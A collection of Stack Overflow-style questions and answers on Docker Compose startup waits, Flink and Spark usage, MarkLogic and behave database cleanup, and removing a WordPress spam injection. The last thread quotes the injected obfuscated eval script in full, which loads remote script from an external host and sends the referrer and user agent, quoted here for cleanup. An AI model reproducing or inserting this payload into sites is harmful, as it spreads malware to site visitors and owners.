I've got Docker Compose cluster and one of the containers is Oracle 12c. There is schema.sql file to initialize the db. I would like my application to wait until the db executes all the sql. How can I do it in an automatic fashion with bash?
Thank you very much for any suggestions!
There's a lot to explain here, but I'll link one of my previous answers for a similar problem - steps are actually the same because only the database service and background differs.
1)
First thing is, you have to provide a bash script that will wait until a service will respond via http. In databases it usually happens when DB is ready to go and all initializations are done.
the wait-for-it.sh script written by vishnubob in his wait-for-it repo # github.
2)
Second thing, you have to get that script inside each container that requires your DB.
3)
Third, you specify a entrypoint in your compose file, that will execute the waiting script before the actual command running your service will trigger.
example of a entrypoint (as reference to the answer I link to)
docker-entrypoint.sh:
#!/bin/bash
set -e
sh -c './wait-for-it.sh oracle:3306 -t 30'
exec "$#"
All these steps are explained in detail here in scenario 2, be aware of a reference to my another answer inside the answer I'm pointing at here. This issue is a very common problem for beginners and takes quite a lot of explanation, so I cannot post it all here.
note here concerning depends_on which you might think is a native solution for this problem from docker - as docs state, it only waits until the container is running, not actually finished it's internal jobs - docker is not aware of how much there is to be done.
Related
I just get start learning flink and try the case, "Real Time Reporting with the Table API "
When I ran docker-compose, all containers worked except jobmanager which is exited with 2.
up all
exit with 2
I tried rebuild and restart, but it does not work and I do not know what's wrong with it.
Could anyone help me to figure it out,please? Many thanks!
This particular tutorial does fail if you skip ahead and try to run it without first providing an implementation for org.apache.flink.playgrounds.spendreport.SpendReport.report. Several versions of that method are provided in the tutorial: pick one (perhaps the last one), drop it in, rebuild the docker image, and try again.
So I'm learning about Spark and I have a question about how client libs works.
My goal is to do some sort of data analysis in Spark, telling it where are the data sources (databases, cvs, etc) to process, and store results in hdfs, s3 or any kind of database like MariaDB or MongoDB.
I though about having a service (API application) that "tells" spark what I want to do. The question is: Is it enough setting the master configuration with spark:remote-host:7077 at context creation or should I send the application to spark with some sort of spark-submit command?
This completely depends on how your environment is set up, if all paths are linked to your account you should be able to run one of the two commands, to efficiently open the shell and run test commands. The reason to have a shell, is this will allow you to dynamically run commands and validate/learn how to run/tether commands onto one another and see what results come out.
Scala
spark-shell
Python
pyspark
Inside of the environment, if everything is linked to Hive tables you can check the tables by running
spark.sql("show tables").show(100,false)
The above command will run a "show tables" on the Spark-Hive-Metastore Catalogue and will return all active tables you can see (doesn't mean you can access the underlying data). The 100 means I am going to look at 100 rows and the false means to show the full string not the first N many characters.
In a mythical example if one of the tables you see is called Input_Table you can bring it into the environmrnt with the below commands
val inputDF = spark.sql("select * from Input_Table")
inputDF.count
I would heavily advise, while your learning, not to run the commands via Spark-Submit, because you will need to pass through the Class and Jar, forcing you to edit/rebuild for each testing making it difficult to figure how commands will run without have a lot of down time.
I have multiple databases in my local which I do not need. Can I run a curl script or a REST API command where I can delete the database, it's servers and all of the forests so that I can use gradle to just deploy them again?
I have tried to manually delete the server first, then the database and then the forests. This is a lengthy process.
I want a single command to do the whole job for me instead of manually having to delete the components one by one which is possible through the admin interface.
Wagner Michael has a fair point in his comment. If you already used (ml-)Gradle to create servers and databases, why not use its mlUndeploy -Pconfirm=true task to get rid of them? You could potentially even use a fake project, with stub configs to get rid of a fairly random set of databases and servers, though that still takes some manual work.
By far the quickest way to reset your entire MarkLogic, is to stop it, and wipe its data directory. This SO question gives instructions on how to do it, as part of a solution to recover when you lost your admin password:
https://stackoverflow.com/a/27803923/918496
HTH!
I'm pretty new to the world of python/behave and API testing, and I'm trying to clean the database after 1 scenario is run by calling the tag #clean_database.
Can you please assist?
I guess that I will need a database_context.py in my context_steps folder but I'm not sure how to do the connection to the database...
Seems like you have 2 questions here:
(1) How do I connect to the database?
This question doesn't involve behave, so you should ask this question elsewhere--perhaps on the MySQL-Python thread if you're using MySQL (which you haven't specified) or on the Python thread.
(2) How do I use behave to call specific tags?
For the latter, check out the documentation for running tagged tests and see how to run behave from your Python program.
I have a website I am working on that was recently hacked with a SPAM injection. Everything is secured now but I am tasked with cleaning up the remains of a script put on each page. The problem I am facing is that there are special characters used throughout the hack and escaping the special characters is proving to be very challenging.
I am also using a Query builder but even that is getting confused.
The code I am trying to remove is this:
<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zinsz|var|u0026u|referrer|bhsyf||js|php'.split('|'),0,{}))
As you can see once I start escaping characters I start to get lost. I was wondering if anyone has come across this and found an easier way.
I have successfully gone in an manually deleted the code directly in the database but unfortunately there is about 1006 locations and it just takes forever.
Unfortunately, modifying a Wordpress database with direct SQL queries can break PHP serialized strings and objects. So even if you come up with the perfect search term, don't do it that way.
Instead, you might try this awesome Search Replace DB tool. Make sure you follow all of their pleas about cautious use of the script, especially: do a backup first, use a very cryptic directory name, and remove the folder as soon as you're done. Also make sure you have php-mbstring running.
The web interface is really nice, but depending on the server setup, it can fail to work. There's also a command line interface, though. To use it, cd into the folder that has the tool. There's documentation for the CLI version in the README.md file. Here's the basic shape of a command to address your case, which you'll need to test and adjust to match your database setup:
php srdb.cli.php --host localhost.or.dbserver --name dbnamehere --user dbuserhere --pass 'dbpasswordhere' --search '/\<noindex\>\<script id\=\"wpinfo\-pst1\".*?<\\/noindex>/s' --replace '' --regex --dry-run
I love this tool's --dry-run feature, which is set in the code above. After you've done lots of dry-runs and are confident you're doing what you intend to do, remove that option from the command line (or uncheck the "dry-run" box if you're in the web interface) and the replace will actually happen. Then, remember, remove the tool so that no one else can use it.